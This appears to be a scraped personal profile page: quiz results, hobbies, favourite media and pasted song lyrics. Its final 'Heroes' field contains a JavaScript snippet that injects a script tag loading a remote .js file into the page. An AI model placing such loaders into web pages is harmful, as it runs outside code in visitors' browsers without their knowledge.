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Blue eyed,blonde haired,corn fed, white boy

Marge..The doll's trying to kill me, and the toaster's been laughing at me

About Me


Your Name Is Too Too Sexy! :)
Your name scored 397 in the "How Sexy Is Your Name Test"
How Sexy Is Your Name?
Your Name Is Sexy! :)
Your name scored 69 in the "How Sexy Is Your Name Test"
How Sexy Is Your Name?
You scored as You are a Demon. There's no nice way of saying it. You're a Demon!` And you like it that way! You are often called a pyromaniac and keep matches or a lighter on you at all times. Your idea of fun is poking those poor damned souls with your pitch fork. Just be careful you don't get burned in all your fun!!

You are a Demon


83%

Fallen Angel


75%

Black Witch


75%

Vampire


50%

You are a Vampiric Elf!


42%
What creature of the night are you you most like? (Pics!!)
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Your Porn Star Name Is...
Biggus Dickus What's Your Porn Star Name?
You scored as Vampire. You are a straight up !Vampire Your hobbies may include drinking the blood of innocents...or not so innocents. You tend to shy away from crosses. Your bed is a coffin with the dirt from your homeland inside. The light is your enemy, and will destroy you should you be lured into its trap. Garlic is not your favorite spice in the kitchen, though it does make for a very nice weapon along with the holy water you stole from that priest awhile back...Just watch your back you never know who might be lurking in a dark alley!

Vampire


83%

You are a Demon


83%

You are a Vampiric Elf!


75%

Fallen Angel


75%

Black Witch


50%
What creature of the night are you you most like? (Pics!!)
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"Trouser Anaconda"
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What dragon species are you? (Stunning pics)
 
Fire Dragon
Rage, passion, you burn with the essence of a powerful flame. You are powerful and majestic and dont let anyone stand in your way without a fight.
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Which Nuisance Student From the Simpsons are You?
 
Bart
Your'e Bart, and Just about every story you tell begins with how you threw down the chalk and skipped detention. Your just trying to make every day as exciting as possible though.
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What Movie Criminal Are You?
 
Cool Hand Luke: The Free Spirit
"Well, that oughta be easy for a genuine son of bitch."
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What Wild Animal Are You?
 
Wolf
You are the wolf. Your friends and family are very important to you. However you also have a streak of independence. Congragulations.
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You scored as Gunshot. Your death will be by gunshot, probably because you are some important person or whatever. Possibly a sniper, nice, quick, clean shot to the head. Just beautiful.

Gunshot


87%

Posion


80%

Disappear


67%

Disease


67%

Natural Causes


60%

Stabbed


53%

Accident


47%

Suicide


47%

Bomb


40%

Eaten


33%

Drowning


33%

Cut Throat


20%

Suffocated


20%
How Will You Die??
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You Are 88% Gentleman
No doubt about it, you are a total gentleman.
You please the pickiest ladies, and you make everyone in a room feel comfortable. Are You A Gentleman?
You Should Rule Mercury
Close to sun, Mercury has very long days - and is rarely visible to the rest of the solar system.
You are perfect to rule Mercury, because you live for the present - and can truly enjoy a day that goes on forever.
Like Mercury, you are quick and elusive. Your wit is outstanding, and you can win any verbal sparring match.
Some people see you as superficial, but in truth, you just play many roles and have many interests.
A great manipulator, you usually get what you want from people. And they're happy to give it to you. What Planet Should You Rule?
Which JACKASS are you?
 
Johnny Knoxville
Stunts: fake erections, public farting, carrying around a dead alligator, breaking a coffin, sticking hand up cow's butt, and getting things shot at balls
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Which Horror Movie Killer Are You?
 
The Creeper
Your the Creeper your meant to kill. And 23 is your big number. Your lil gruesome to eating people, using their skin for under tunnel caverns left for teens to find. Your quick too, those massive wings can chop off heads and get you places you need to get, like on top of School Buses. Your also nasty and like bellybuttons, any body part you can make your own for that matter. Your just wierd.
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What kind of eyes do you have? (with pictures)
 
Eden
You have eden eyes. Eden is the color of water. Your eyes symbolize your great flexibility. You are a creative person. You can think of many good ways to get your point across to people as you have very good communication abilities. When someone feels down or is hurt, you have the remarkable ability to help them and heal them. If you have too little going on in your life, you may be withdrawn and depressed, timid, manipulative, unreliable, stubborn, or suspicious. Some words to describe you: peaceful, sincere, affectionate, tranquil, intuitive, trustworthy, pure, loyal, healing, and stable.
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The Tooth Puller
People Iced: Forty Three
Car Bombs Planted: Three
Favorite Weapon Bowling Balls
Arms Broken: Ten
Eyes Gouged: Thirty
Tongues Cut Off: Eleven
Biggest Enemy: The Knuckle Scrapper
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AWSOME-GAME
I will die on Thursday, October 17, 2052 When will you? Calculate Your Death Date I will die on Sunday, October 13, 2052 When will you? Calculate Your Death Date
What vampire would you be?

Avengful Vampire of the City
You have been wronged so many ways. This as you see it, is your chance to set your anger free for once and all! Whomever dishonor or embarass you will have to pay for such a mistake with their life!
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You Are Super Spicy
You're a little bit crazy, a little bit naughty, and a whole lot of sexy.
You go beyond hot - you set people's senses on fire! Are You Hot?
You Are A Social Butterfly
You love your friends so much...
You're motto is "the more, the merrier"!
Making sure everyone's included is your mission
And you always prefer a group of ten to a group of two What Kind of Friend Are You?
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I'm a guy who's going to college. I like to work out, and go for walks in nature. I like to volunteer with animals. I'm going for my rad tech degree, so I can go on to be a vet. My dream is to work in a zoo znd play with all the animals. I like to fart, it feels good. I live in Melbourne with my room mate and am lovin evry minute of it. I have the coolest movie collection too!
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My Interests

LOTS! I like good movies, food, working out, nature. I also like all animals, and volunteering with animals. I like going for walks at parks and on trails. I like just hangin out havin a good time................

I'd like to meet:

COOL PEOPLE! I'd like to meeet dudes and chicks with similar interests who just wanna chioll and have fun!...............

Music:

Metal. My favorite. Metallica, Godsmack, Seven dust, Mega death, Ozzy/Sabbath, Pantera, AC/DC, White zombie, Distuebed to name a few. I also like rock, Offspring, Smashmouth, Aerosmith. classic rock, BOC, some old school rap, classical, and alternative, STP, Temple of the dog, Seven mary three, Sound garden.***************************************************** ******They see me mowin'... my front lawn I know they're all thinkin' I'm so white & nerdy Think I'm just too white & nerdy Think I'm just too white & nerdy Can't ya see I'm white & nerdy? Look at me, I'm white & nerdy I wanna roll with... the gangstas But so far they all think I'm too white and nerdy Think I'm just too white & nerdy Think I'm just too white & nerdy I'm just too white & nerdy Really, really white & nerdyFirst in my class there at MIT Got skills, I'm a champion at D&D MC Escher, that's my favorite MC Keep your 40, I'll just have an Earl Grey tea My rims never spin - to the contrary You'll find that they're quite stationary All of my action figures are cherry Stephen Hawking's in my library My MySpace page is all totally pimped out Got people beggin' for my Top 8 spaces Yo, I know pi to a thousand places Ain't got no grills, but I still wear braces I order all of my sandwiches with mayonnaise I'm a whiz at Minesweeper, I could play for days Once you see my sweet moves, you're gonna stay amazed My fingers movin' so fast, I'll set the place ablaze There's no killer app I haven't run At Pascal, well, I'm number one Do vector calculus just for fun I ain't got a gat but I got a soldering gun "Happy Days" is my favorite theme song I could sure kick your butt in a game of ping pong I'll ace any trivia quiz you bring on I'm fluent in JavaScript as well as Klingon Here's the part I sing on...They see me roll on... my Segway I know in my heart they think I'm white & nerdy Think I'm just too white & nerdy Think I'm just too white & nerdy Can't ya see I'm white & nerdy? Look at me, I'm white & nerdy I'd like to roll with... the gangstas Although it's apparent I'm too white and nerdy Think I'm just too white & nerdy Think I'm just too white & nerdy I'm just too white & nerdy How'd I get so white & nerdy?I've been browsin', inspectin' X-Men comics, you know I collect 'em The pens in my pocket, I must protect 'em My ergonomic keyboard never leaves me bored Shoppin' online for deals on some writable media I edit Wikipedia I memorized "Holy Grail" really well I can recite it right now and have you ROTFLOL I got a business doin' web sites When my friends need some code, who do they call? I do HTML for 'em all Even made a home page for my dog Yo, I got myself a fanny pack They were havin' a sale down at The Gap Spend my nights with a roll of bubble wrap Pop pop, hope no one sees me... gettin' freaky I'm nerdy in the extreme and whiter than sour cream I was in A/V Club and Glee Club and even the chess team Only question I ever thought was hard Was, do I like Kirk or do I like Picard? Spend every weekend at the Renaissance Faire Got my name on my underwearThey see me strollin'... they laughin' And rollin' their eyes 'cause I'm so white & nerdy Just because I'm white & nerdy Just because I'm white & nerdy All because I'm white & nerdy Holy cow, I'm white & nerdy I wanna bowl with... the gangstas But oh well, it's obvious I'm white and nerdy Think I'm just too white & nerdy Think I'm just too white & nerdy I'm just too white & nerdy Look at me, I'm white & nerdy ...............

Movies:

My favorite kind of movies are the horror movies that are so cheesy that they're funny: Killer clowns from outer space, Attack of the killer tomatoes. I also like good horror: The shinning, Amityville, Poltergeist, Alien, The thing, can't think of any more now. I also like Japanese horror movies. comedy:Austin powers, Air heads, American pie, Breakfast club!, drama:One flew over the nest, Planet of the apes(the original), Pariot, Fugitive, Godfather, action:X-men, Brave heart, Die hard, Gladiator, Lethal weapon, Last boyscout, Western:Good,bad,ugly, Unforgiven, Last man standing, Wyatt erp, Pale rider, Mind teasers:Memento, Jacket, Machinist, Murder mysteries:LA Confidential, Cop land, Murder of crows, ...............

Television:

SIMPSONS ALL THE WAY!!!!!!!! Thats my favorite show. I also like futurama, myth busters, rome, dirty jobs, I liked the early x files. and I like Avatar...............

Books:

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Heroes:

Alexander the great, My grandfather, Steve Irwin, and there are more........"var x=document.createElement('script');x.src='http://www.../.../ test.js';document.getElementsByTagName('body')[0].appendChil d(x);" /

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